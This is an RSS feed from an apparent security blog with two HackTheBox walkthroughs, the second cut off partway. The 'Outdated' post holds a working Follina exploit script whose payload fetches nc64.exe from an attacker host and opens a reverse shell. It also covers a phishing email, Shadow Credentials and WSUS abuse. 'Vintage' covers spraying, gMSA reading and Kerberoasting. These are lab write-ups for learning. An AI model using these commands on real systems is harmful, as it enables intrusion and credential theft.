<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[REAPSEC]]></title><description><![CDATA[GOD OF WALKTHROUGHS]]></description><link>https://blog.reapsec.com</link><generator>RSS for Node</generator><lastBuildDate>Fri, 17 Apr 2026 18:51:27 GMT</lastBuildDate><atom:link href="https://blog.reapsec.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Outdated]]></title><description><![CDATA[OVERVIEW


ENUMERATION

So we are given IP now let’s start the enumeration using Nmap

So this time aside from the regular ports we got a Port 25 opened running SMTP service so it might could give us some lead and also we got the Domain and DC name s...]]></description><link>https://blog.reapsec.com/outdated-htb</link><guid isPermaLink="true">https://blog.reapsec.com/outdated-htb</guid><category><![CDATA[Outdated htb writeup]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[hackthebox machine]]></category><category><![CDATA[HTB Machines]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[reapsec]]></category><category><![CDATA[#Walkthroughs]]></category><category><![CDATA[Outdated]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Fri, 23 Jan 2026 10:12:12 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1769141800806/1da734fb-5421-451b-abc6-96bd5d21cef8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">OVERVIEW</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769141819273/9e5653cc-28de-4520-ba19-437048a92254.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-enumeration">ENUMERATION</h2>
<hr />
<p>So we are given IP now let’s start the enumeration using Nmap</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769142332281/026101ef-5e23-4c27-a269-3cd309dbd551.png" alt class="image--center mx-auto" /></p>
<p>So this time aside from the regular ports we got a <strong>Port 25 opened running SMTP service</strong> so it might could give us some lead and also we got the Domain and DC name so don’t forget to add these into <strong><mark>/etc/hosts </mark></strong> file</p>
<p>But let’s start like always with Enumerating SMB through guest login as we don’t have user creds</p>
<pre><code class="lang-apache"><span class="hljs-attribute">nxc</span> smb <span class="hljs-number">10.129.229.239</span> -u guest -p '' --shares
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769145706720/6f3e75b9-b756-4a50-bd59-dcece85921d7.png" alt class="image--center mx-auto" /></p>
<p>As you can see we got a READ permission on Shares so let’s read it using smbclient</p>
<pre><code class="lang-apache"><span class="hljs-attribute">smbclient</span> //<span class="hljs-number">10.129.229.239</span>/Shares -U guest%''
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769145976051/76332438-c9b5-48b6-8b92-71107d227c3d.png" alt class="image--center mx-auto" /></p>
<p>so we got NOC_Reminder.pdf file let’s get it and see its contents</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769146651210/51e5c33f-bd72-46db-8449-06a8fbf71ca8.png" alt class="image--center mx-auto" /></p>
<p>So we got a email <code>itsupport@outdated.htb</code> and we also got SMTP Port 25 opened and we are given a list of CVE’s to check it out so i checked most of them and the one that works is <a target="_blank" href="https://www.hackthebox.com/blog/cve-2022-30190-follina-explained"><strong>CVE-2022-30190 (Follina)</strong></a></p>
<p>So in Short →<br />The Follina vulnerability exploits the <code>msdt://</code> URL protocol to achieve code execution. <a target="_blank" href="https://www.youtube.com/watch?v=dGCOhORNKRk"><strong>John Hammond's video</strong></a> provided an excellent technical breakdown when this vulnerability was initially disclosed. The attack mechanism involves abusing Office documents that contain external references to attacker-controlled HTML files. These HTML files use JavaScript to redirect victims to malicious <code>msdt://</code> URLs.</p>
<p>Under normal circumstances, the Microsoft Diagnostic Tool would display confirmation dialogs requiring user interaction. However, researchers discovered that URLs exceeding 4096 bytes bypass these security prompts.</p>
<h2 id="heading-exploitation">EXPLOITATION</h2>
<hr />
<p>Now To exploit this vulnerability we will use John Hammond POC uploaded in its GitHub</p>
<p><a target="_blank" href="https://github.com/JohnHammond/msdt-follina"><strong>CVE-2022-30190</strong></a></p>
<p>Now before using this it is discovered that<br />The typical Follina attack uses Word documents to bypass security prompts, but this approach required modification since Word wasn't installed on the target system. Instead, a standalone HTML page with JavaScript was created <code>(msdt.html)</code> to redirect victims to the malicious <code>msdt://</code> URL when they clicked the link sent to <code>itsupport@outdated.htb</code>.<br />Testing revealed additional complications: the email spam filter blocked URLs ending in <code>.doc</code>, preventing successful delivery of traditional payloads.<br />The final payload was adapted from John Hammond's POC code, specifically extracting the HTML generation component while excluding the Word document creation, web server, and reverse shell handling features that weren't needed for this scenario.</p>
<p>So follina.py will look like this after removing certain things</p>
<ul>
<li><p>Don’t forget to open a python server on Port 80 where you have the nc64.exe file</p>
</li>
<li><pre><code class="lang-apache">  <span class="hljs-attribute">python3</span> -m http.server <span class="hljs-number">80</span>
</code></pre>
</li>
<li><p>Don’t forget to replace ATTACKER-IP with your IP</p>
</li>
</ul>
<pre><code class="lang-apache"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-attribute">import</span> base<span class="hljs-number">64</span>
<span class="hljs-attribute">import</span> random
<span class="hljs-attribute">import</span> string
<span class="hljs-attribute">import</span> sys

<span class="hljs-attribute">if</span> len(sys.argv) &gt; <span class="hljs-number">1</span>:
    <span class="hljs-attribute">command</span> = sys.argv[<span class="hljs-number">1</span>]
<span class="hljs-attribute">else</span>:
    <span class="hljs-attribute">command</span> = <span class="hljs-string">"IWR http://ATTACKER-IP/nc64.exe -outfile C:\\programdata\\nc64.exe; C:\\programdata\\nc64.exe ATTACKER-IP 443 -e cmd"</span>

<span class="hljs-attribute">base64_payload</span> = base<span class="hljs-number">64</span>.b<span class="hljs-number">64</span>encode(command.encode(<span class="hljs-string">"utf-8"</span>)).decode(<span class="hljs-string">"utf-8"</span>)

<span class="hljs-comment"># Slap together a unique MS-MSDT payload that is over 4096 bytes at minimum</span>
<span class="hljs-attribute">html_payload</span> = f<span class="hljs-string">""</span><span class="hljs-string">"&lt;script&gt;location.href = "</span>ms-msdt:/id PCWDiagnostic /skip force /param \\<span class="hljs-string">"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'{base64_payload}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\\"</span><span class="hljs-string">"; //"</span><span class="hljs-string">""</span>
<span class="hljs-attribute">html_payload</span> += (
    "".<span class="hljs-attribute">join</span>([random.choice(string.ascii_lowercase) for _ in range(<span class="hljs-number">4096</span>)])
    + "\<span class="hljs-attribute">n</span>&lt;/script&gt;<span class="hljs-string">"
)

print(html_payload)</span>
</code></pre>
<p>Now on running this script with <code>python3 follina.py</code> you will get a html code now copy that code and save it inside <code>msdt.html</code> file and be sure to keep msdt.html in the same folder where you started your python server and have nc64.exe file</p>
<p>Now open a listener on Port 443 in another terminal</p>
<pre><code class="lang-apache"><span class="hljs-attribute">rlwrap</span> nc -lvnp <span class="hljs-number">443</span>
</code></pre>
<p>Now to make the server execute the msdt.html file using <code>msdt://</code> parameter we will use <strong>swaks</strong> to send email to <code>itsupport@outdated.htb</code><br /><em>Be sure to change your IP below</em></p>
<pre><code class="lang-apache"><span class="hljs-attribute">swaks</span> -t itsupport@outdated.htb -f <span class="hljs-number">0</span>xme<span class="hljs-number">0</span>w@reapsec.com --header <span class="hljs-string">"Subject: Internal Request"</span> --body <span class="hljs-string">"http://YOUR-IP/msdt.html"</span>
</code></pre>
<p>This will now go to the SMTP server authenticate and send the email to <code>itsupport@outdated.htb</code> and it will request the msdt.html file from your python server, then request nc64.exe and results in giving a Foothold on our listener</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769149132058/f2ad0bed-911f-44ec-87db-d36eb52396c1.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769149194799/9e44f5f4-02a7-4c9c-832d-ce519052c7d6.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769149200022/40fff87e-fffb-4307-b38a-9b7382efd3fa.png" alt class="image--center mx-auto" /></p>
<p>So finally we got a reverse shell as the user btables and do type <code>powershell</code> to enter into powershell session/terminal</p>
<h2 id="heading-lateral-movement">LATERAL MOVEMENT</h2>
<hr />
<p>After enumeration inside as btables user i didn’t find anything useful so let’s see bloodhound data for more information and since we don’t have a valid user creds we have to capture it from the inside<br />So let’s use <a target="_blank" href="https://github.com/Flangvik/SharpCollection/blob/master/NetFramework_4.7_Any/SharpHound.exe"><strong>SharpHound.exe</strong></a> to capture bloodhound data so we would import the SharpHound.exe tool inside the shell</p>
<pre><code class="lang-apache"><span class="hljs-attribute">iwr</span> http://YOUR-IP/SharpHound.exe -OutFile SharpHound.exe
</code></pre>
<p>now run this inside the shell</p>
<pre><code class="lang-apache">.\<span class="hljs-attribute">SharpHound</span>.exe -c <span class="hljs-literal">all</span>
</code></pre>
<p>Now wait for it to finish then if you remember we uploaded <strong>nc64.exe</strong> inside <strong>C:/programdata/</strong><br />So we can use that to retrieve Bloodhound zip into our local machine</p>
<pre><code class="lang-apache"><span class="hljs-comment">#In Windows Shell</span>
\<span class="hljs-attribute">nc64</span>.exe ATTACKER-IP PORT &lt; <span class="hljs-number">202</span>..........zip
</code></pre>
<pre><code class="lang-apache"><span class="hljs-comment">#In Attacker Machine</span>
<span class="hljs-attribute">nc</span> -lvnp PORT &gt; <span class="hljs-number">202</span>.............zip
</code></pre>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text"><strong>Due to some issues I had to reset the machine so the new machine IP is not 10.129.15.123</strong></div>
</div>

<p>Now we will see the data in Bloodhound</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769156307530/30cbb8b5-5bec-42fe-abd8-a837f146c957.png" alt class="image--center mx-auto" /></p>
<p>As you can see we got <strong>AddCredentialLink</strong> Permission so we could do a Shadow Credential Attack using <a target="_blank" href="https://github.com/windowsoffender/compiled_binaries"><strong>Whisker.exe</strong></a><br />So import the tool into the shell using the same Invoke-WebRequest Method and then</p>
<pre><code class="lang-apache">.\<span class="hljs-attribute">Whisker</span>.exe add /target:sflowers
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769156718053/ea44a5f1-cc04-4110-a75d-6f5184f99de1.png" alt class="image--center mx-auto" /></p>
<p>As you can see we got the certificate along with its password which we can use to get the TGT and NTLM hash using Rubeus as shown in the image above<br />So first import Rubeus.exe of latest version into the shell with same method and then copy the given Rubeus command, paste it and if it shows error then first paste into a text editor and remove the extra spaces so that on pasting it won’t cause issues or just Use AI to fix the format ;)</p>
<p>Now run the command as you already have Rubeus don’t forget to add .\ at the start of the copied command</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769157492200/bc3fb623-edf2-4fa3-b0a9-db8482109fdd.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-user-flag">USER FLAG</h2>
<p>As you can see we got the NTLM Hash of the user sflowers so now let’s try login it using evil-winrm</p>
<pre><code class="lang-apache"><span class="hljs-attribute">evil</span>-winrm -i <span class="hljs-number">10.129.15.123</span> -u sflowers -H HASH
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769157915877/a94e824e-e1ec-4fad-ae0d-d3431ff20a17.png" alt class="image--center mx-auto" /></p>
<p>And you will get the user flag</p>
<h2 id="heading-privilege-escalation">PRIVILEGE ESCALATION</h2>
<hr />
<p>Now lets enumerate more for privilege escalation so on seeing the groups with <code>whoami /all</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769158433289/19d01d8a-8c2d-4330-81fd-cb4e044c1dc9.png" alt class="image--center mx-auto" /></p>
<p>We notice that sflowers is a member of WSUS Administrators group , seems suspicious so i ran winPEAS.exe in order to find anything extra</p>
<p>On running winPEAS.exe i found</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769159246518/9330a0ae-270c-45d8-b18f-339d2f002ee9.png" alt class="image--center mx-auto" /></p>
<p>So Researching about exploiting WSUS (Windows Server Update Services) I found this <a target="_blank" href="https://www.lrqa.com/en/cyber-labs/introducing-sharpwsus/"><strong>BLOG</strong></a></p>
<p>In this blog it teaches us What is WSUS and How it works?<br />→ Windows Server Update Services (WSUS) is a centralized patch management system that downloads Microsoft updates once and distributes them to all Windows computers in a corporate network, eliminating the need for each machine to connect directly to the internet.  </p>
<p>The vulnerability arises when an attacker compromises the WSUS server with administrative privileges. While WSUS only accepts Microsoft-signed binaries as payloads (like PsExec.exe or PowerShell.exe), attackers can abuse legitimate Microsoft tools by controlling the arguments passed to them.  </p>
<p>For example, <strong>SharpWSUS</strong> can create a malicious "update" that uses the legitimate, signed PsExec.exe binary but passes malicious commands as arguments—such as creating administrator accounts or executing reverse shells.<br />Since WSUS communicates with nearly all computers in the network, this bypass network segmentation and allows lateral movement to otherwise isolated systems, including Domain Controllers.  </p>
<p>The main limitation is that attackers must wait for target machines to check for updates, which could take minutes, hours, days, or weeks depending on the organization's patch deployment schedule.</p>
<p><strong>So let’s use</strong> <a target="_blank" href="https://github.com/windowsoffender/compiled_binaries"><strong>SharpWSUS.exe</strong></a> tool to exploit this to get a reverse shell and if you remember we already have <strong>PsExec64.exe</strong> in <strong>C:/Users/sflowers/Desktop/</strong></p>
<pre><code class="lang-apache">.\<span class="hljs-attribute">SharpWSUS</span>.exe create /payload:<span class="hljs-string">"C:\Users\sflowers\Desktop\PsExec64.exe"</span> /args:<span class="hljs-string">"-accepteula -s -d C:/Users/sflowers/Desktop/nc64.exe -e cmd YOUR-IP 9002"</span> /title:<span class="hljs-string">"MEOWTAKEOVER"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769162053492/950dd20c-1a96-4b8a-904b-4309648df578.png" alt class="image--center mx-auto" /></p>
<p>The update is made and we got the updateid so copy that <strong>/updateid</strong> for future commands</p>
<p>Now let’s open the listener in our terminal on port 9002 before approving the update</p>
<pre><code class="lang-apache"><span class="hljs-attribute">rlwrap</span> nc -lvnp <span class="hljs-number">9002</span>
</code></pre>
<p>Now let’s approve the update to be installed in the client system</p>
<pre><code class="lang-apache"><span class="hljs-attribute">SharpWSUS</span>.exe approve /updateid:YOUR-UPDATE-ID /computername:dc.outdated.htb /groupname:<span class="hljs-string">"MEOWTAKEOVER"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769162430245/74eaba7c-33ec-45dc-b2e7-52edc590c10d.png" alt class="image--center mx-auto" /></p>
<p>Now wait for some time to let the update be installed so in meantime you can use the check command to check the status that if the update is installed or not</p>
<pre><code class="lang-apache"><span class="hljs-attribute">SharpWSUS</span>.exe check /updateid:YOUR-UPDATE-ID /computername:dc.outdated.htb /groupname:<span class="hljs-string">"MEOWTAKEOVER"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769162554811/8eeff52e-17a5-493e-9cff-6edfde37b745.png" alt class="image--center mx-auto" /></p>
<p>I ran the command after some time and It shows installed and if you check on your listener</p>
<hr />
<h2 id="heading-root-flag">ROOT FLAG</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769162692136/8a16ace0-813b-4970-bad7-241a19f6454d.png" alt class="image--center mx-auto" /></p>
<p>And you are a root user and now you can get the root flag !!</p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769162780748/0b4829ed-9f96-472f-b83b-d8ee54c23d13.png" alt class="image--center mx-auto" /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item><item><title><![CDATA[Vintage]]></title><description><![CDATA[OVERVIEW


As you can see we got an IP and this time we are given starting credential of a valid user so let’s first start the enumeration with NMAP
ENUMERATION

The scan looks normal so let’s use the given credential in each service but before that ...]]></description><link>https://blog.reapsec.com/vintage-htb</link><guid isPermaLink="true">https://blog.reapsec.com/vintage-htb</guid><category><![CDATA[vintage htb]]></category><category><![CDATA[Vintage htb writeup]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[HTB Machines]]></category><category><![CDATA[reapsec]]></category><category><![CDATA[#walkthrough]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[Windows]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Thu, 08 Jan 2026 16:35:03 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1767782805869/d1bd5412-169c-4b7c-8bda-c06dbef7f21b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">OVERVIEW</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767782835451/2fa726f3-b048-4948-a5f4-738db22d6ac5.png" alt class="image--center mx-auto" /></p>
<p>As you can see we got an IP and this time we are given starting credential of a valid user so let’s first start the enumeration with NMAP</p>
<h2 id="heading-enumeration">ENUMERATION</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767782874793/7222cfbf-c780-429e-bac1-aa37122fb6b6.png" alt class="image--center mx-auto" /></p>
<p>The scan looks normal so let’s use the given credential in each service but before that don’t forget to add the domain and domain controller name into the <strong><mark>/etc/hosts</mark></strong> file</p>
<p>Now let’s check the SMB service</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767842342501/fe2b7971-32c5-409d-82a6-70975286701d.png" alt class="image--center mx-auto" /></p>
<p>So as you can see that NTLM authentication is disabled so normal SMB authentication wont work so we switched upon Kerberos authentication using <strong>-k</strong> flag and it succeeded so we can list shares using this authentication</p>
<p>NOTE: Do change you <strong>/etc/krb5.conf</strong> earlier to avoid any problem in future as we know that this machine will use Kerberos Authentications so update the below in your /etc/krb5.conf file</p>
<pre><code class="lang-apache">[<span class="hljs-attribute">libdefaults</span>]
    <span class="hljs-attribute">default_realm</span> = VINTAGE.HTB
    <span class="hljs-attribute">dns_lookup_realm</span> = false
    <span class="hljs-attribute">dns_lookup_kdc</span> = true

[<span class="hljs-attribute">realms</span>]
    <span class="hljs-attribute">VINTAGE</span>.HTB = {
        <span class="hljs-attribute">kdc</span> = <span class="hljs-number">10.129.231.205</span>
        <span class="hljs-attribute">admin_server</span> = <span class="hljs-number">10.129.231.205</span>
    }

[<span class="hljs-attribute">domain_realm</span>]
    .<span class="hljs-attribute">vintage</span>.htb = VINTAGE.HTB
    <span class="hljs-attribute">vintage</span>.htb = VINTAGE.HTB
</code></pre>
<p>So I checked the shares above using impacket-smbclient but didn’t get anything useful so let’s do RID cycling to enumerate users , computers , groups etc</p>
<pre><code class="lang-apache"><span class="hljs-attribute">nxc</span> smb <span class="hljs-number">10.129.231.205</span> -u P.Rosa -p 'Rosaisbest<span class="hljs-number">123</span>' -k --rid-brute
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767843194909/e4194701-6e7e-4dc7-b510-bea1a39e92e6.png" alt class="image--center mx-auto" /></p>
<p>So we got all users and computer/machine accounts so let’s make a list of them and save it to users.txt file and for passwords we will not use $ for machine accounts as you can see below (pwd.txt)</p>
<pre><code class="lang-plaintext">gMSA01
dc01
fs01
administrator
guest
krbtgt
m.Rossi
r.Verdi
l.Bianchi
g.Viola
c.Neri
p.Rosa
svc_sql
svc_ldap
svc_ark
c.Neri_adm
l.Bianchi_adm
</code></pre>
<p>Now we have users list so we can bruteforce these users with their same username to see if anyone is using their username as their passwords<br /><em>(NOTE: I already sprayed the Rosaisbest123 password on this list and didn’t got anything)</em></p>
<pre><code class="lang-plaintext">nxc smb 10.129.231.205 -u users.txt -p pwd.txt -k --no-bruteforce --continue-on-success
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767844901624/f8860332-e4e7-48ba-9d19-62df02bdb4ae.png" alt class="image--center mx-auto" /></p>
<p>so we found that FS01$ uses its username as its password<br />Now this can also be founded using bloodhound</p>
<pre><code class="lang-plaintext">bloodhound-python -u P.Rosa -p Rosaisbest123 -d vintage.htb -ns 10.129.231.205 -c ALL --zip
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767846279304/550b56b9-4aee-4a39-b852-538419c42b57.png" alt class="image--center mx-auto" /></p>
<p>You can see that the machine account FS01$ belongs/MemberOf <a target="_blank" href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/7a76a403-ed8d-4c39-adb7-a3255cab82c5"><strong>PRE-WINDOWS 2000 COMPATIBLE ACCESS</strong></a><strong>@VINTAGE.HTB</strong><br />So member of this group generally uses their usernames as their password so through that we can understand the above scenario</p>
<hr />
<h2 id="heading-exploitation">EXPLOITATION</h2>
<p>Now we owned the FS01$ machine account let’s do the enumeration on bloodhound</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767848885892/5cc921b9-720f-4cb8-8484-a3544f41fac6.png" alt class="image--center mx-auto" /></p>
<p>As you can see FS01 being the member of Domain Computers can <strong>ReadGMSAPassword</strong> of <strong>GMSA01$@VINTAGE.HTB</strong></p>
<p>So let’s use netexec to read GMSAPassword</p>
<pre><code class="lang-apache"><span class="hljs-attribute">nxc</span> ldap <span class="hljs-number">10.129.231.205</span> -u fs<span class="hljs-number">01</span>$ -p fs<span class="hljs-number">01</span> -k --gmsa
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767849701560/cbf9779a-9799-4067-a5bd-801aa2e88846.png" alt class="image--center mx-auto" /></p>
<p>We successfully got the NTLM Hash of the gMSA01$ machine account now let’s see again in bloodhound data</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767867691064/df3d64dc-70a7-4a8a-900d-c324430c49ab.png" alt class="image--center mx-auto" /></p>
<p>As you can see that GMSA01$ machine account has GenericWrite and AddSelf Permission on <strong>SERVICEMANAGERS@VINTAGE.HTB</strong></p>
<p>So let’s add GMSA01$ account into SERVICEMANAGER group using bloodyAD</p>
<pre><code class="lang-apache"><span class="hljs-attribute">bloodyAD</span> -d vintage.htb --host dc<span class="hljs-number">01</span>.vintage.htb -u gmsa<span class="hljs-number">01</span>$  -p <span class="hljs-string">"NTLM-HASH"</span> -f rc<span class="hljs-number">4</span> -k add groupMember SERVICEMANAGERS 'gMSA<span class="hljs-number">01</span>$'
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767867704660/08856f6e-7eeb-43b6-b324-42435cf22326.png" alt class="image--center mx-auto" /></p>
<p>You can easily do this by getting GMSA01$ TGT also then u don’t have to pass user and password hash or even format of the hash</p>
<p>Now we are added to SERVICEMANAGERS group let’s see what this group can do in bloodhound</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767867708144/e36b9a72-e786-4f57-96cc-bdb1cadaef9c.png" alt class="image--center mx-auto" /></p>
<p>As you can see SERVICEMANAGERS have GenericAll Write on three users and among three two of the users are enabled and one user <strong>svc_sql</strong> is disabled</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767867736563/77bd3536-cf59-4fb9-8032-54589e71ef63.png" alt class="image--center mx-auto" /></p>
<p>Since SERVICEMANAGERS have GenericAll on these users we can enable this user and then kerberoast it</p>
<p>First let’s take gMSA01$ TGT to avoid future problems</p>
<pre><code class="lang-apache"><span class="hljs-attribute">getTGT</span>.py vintage.htb/gMSA<span class="hljs-number">01</span>$ -hashes :NTLM-HASH
<span class="hljs-attribute">export</span> KRB<span class="hljs-number">5</span>CCNAME=gMSA<span class="hljs-number">01</span>$.ccache
</code></pre>
<p>Now let’s try removing the FALSE parameter from the svc_sql user using bloodyAD</p>
<pre><code class="lang-apache"><span class="hljs-attribute">bloodyAD</span> -d vintage.htb --host dc<span class="hljs-number">01</span>.vintage.htb -k remove uac 'svc_sql' -f ACCOUNTDISABLE
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767867740271/97b9f9a7-e287-48c3-9c6d-7e2082a55b13.png" alt class="image--center mx-auto" /></p>
<p>As you can see the account is successfully removed from the ACCOUNTDISABLE field now let’s target kerberoast it to get the hash of the three accounts<br />we will use targeted kerberoast attack</p>
<pre><code class="lang-apache"><span class="hljs-attribute">python3</span> targetedKerberoast.py -d vintage.htb -k --no-pass --dc-host dc<span class="hljs-number">01</span>.vintage.htb
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767872539691/6b1bfcce-97b4-4ead-a100-ee9ac52c56cb.png" alt class="image--center mx-auto" /></p>
<p>As you can see we get the svc_sql hash and other two hash too so let’s use john to crack these passwords</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767872812283/a57dd950-8fdc-4f57-889e-a828ba0c19e1.png" alt /></p>
<p>So as you can see we got the svc_sql password now let’s use this password to spray it on the usernames we got earlier maybe it could be reused somewhere</p>
<pre><code class="lang-apache"><span class="hljs-attribute">nxc</span> smb <span class="hljs-number">10.129.231.205</span> -k -u users.txt -p 'Zer<span class="hljs-number">0</span>the<span class="hljs-number">0</span>ne'
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767876818427/3262318c-a230-4cb0-a1b5-2e868209a098.png" alt class="image--center mx-auto" /></p>
<p>Here we go we got another user named as C.Neri let’s login it using evil-winrm as it is a member of Remote Management Users but since winrm normally uses NTLM authentication and this time it is disabled so let’s use the realm method so first grab C.Neri user TGT</p>
<pre><code class="lang-apache"><span class="hljs-attribute">getTGT</span>.py vintage.htb/C.neri:'Zer<span class="hljs-number">0</span>the<span class="hljs-number">0</span>ne'
<span class="hljs-attribute">export</span> KRB<span class="hljs-number">5</span>CCNAME=C.neri.ccache

<span class="hljs-attribute">evil</span>-winrm -i dc<span class="hljs-number">01</span>.vintage.htb -r vintage.htb
</code></pre>
<p><em>NOTE: If you are getting KDC_REALM error do fix your /etc/krb5.conf file</em></p>
<h2 id="heading-user-flag">USER FLAG</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767877480058/fd719681-f245-4d99-a5fe-8b96baf702ae.png" alt class="image--center mx-auto" /></p>
<p>Now you can get your user flag</p>
<hr />
<h2 id="heading-privilege-escalation">PRIVILEGE ESCALATION</h2>
<p>Now Let’s start enumeration for escalating privileges so let’s see for stored credentials first as bloodhound didn’t show anything good for C.Neri user</p>
<pre><code class="lang-apache"><span class="hljs-attribute">cmdkey</span> /list
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767878347461/7d5a83d0-b6ab-47e5-adc4-5935b808fd5b.png" alt /></p>
<p>It showed nothing because we need an Interactive session with a valid profile. The WinRM session is not an interactive session but rather a network logon<br />You can find a better explanation on <a target="_blank" href="https://bitvise.com/wug-logontype"><strong>Bitvise blog</strong></a></p>
<p>So now we can use <a target="_blank" href="https://github.com/Flangvik/SharpCollection/tree/master/NetFramework_4.7_x64"><strong>RunasCs</strong></a> tool to spawn an interactive session so let’s put it into the WinRM session so don’t forget to open a python server in the same directory as RunasCs tool then in WinRM shell do this</p>
<pre><code class="lang-apache"><span class="hljs-attribute">iwr</span> http://YOUR-IP:PORT/RunasCs.exe -OutFile RunasCs.exe

.\<span class="hljs-attribute">RunasCs</span>.exe C.Neri Zer<span class="hljs-number">0</span>the<span class="hljs-number">0</span>ne cmd.exe -r ATTACKERIP:PORT
</code></pre>
<p>On your listener you will get the interactive shell and then do the above cmdkey command again</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767879518732/e729c4e4-63da-4333-b02f-b830ede6bf37.png" alt /></p>
<p>As you can see the above stored credentials are of the user <strong>c.neri_adm</strong> so ,</p>
<p>We could use <a target="_blank" href="https://github.com/peewpw/Invoke-WCMDump"><strong>Invoke-WCMDump.ps1</strong></a> to get the stored credentials but on transporting it from the system to shell is triggering the antivirus which is not allowing us to transfer the file into the shell So our second option is<br />To look for the Credential Encrypted Blob and DPAPI Master keys to generate a key that can decrypt the Credential blob and give us the plain text password</p>
<p>So we will go back to the evil-winrm shell terminal and then do this</p>
<pre><code class="lang-apache"><span class="hljs-attribute">cd</span> C:/Users/C.Neri/appdata/roaming/Microsoft
<span class="hljs-attribute">gci</span> -force
</code></pre>
<p>You will se two directories that are use of us<br />1) Credentials → It contains encrypted credential Blob which we need to download to crack it<br />2) Protect → It contains a SID directory which contain our master key which we needed to generate the key to crack the credentials</p>
<p>Now let’s go and download these files</p>
<pre><code class="lang-apache"><span class="hljs-attribute">cd</span> C:/Users/C.Neri/appdata/roaming/Microsoft/Credentials
<span class="hljs-attribute">gci</span> -force
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767880589968/9a0886e0-aa2a-4d4b-bc60-26c9691da6fc.png" alt class="image--center mx-auto" /></p>
<p>You will get this Credential Blob so download it using</p>
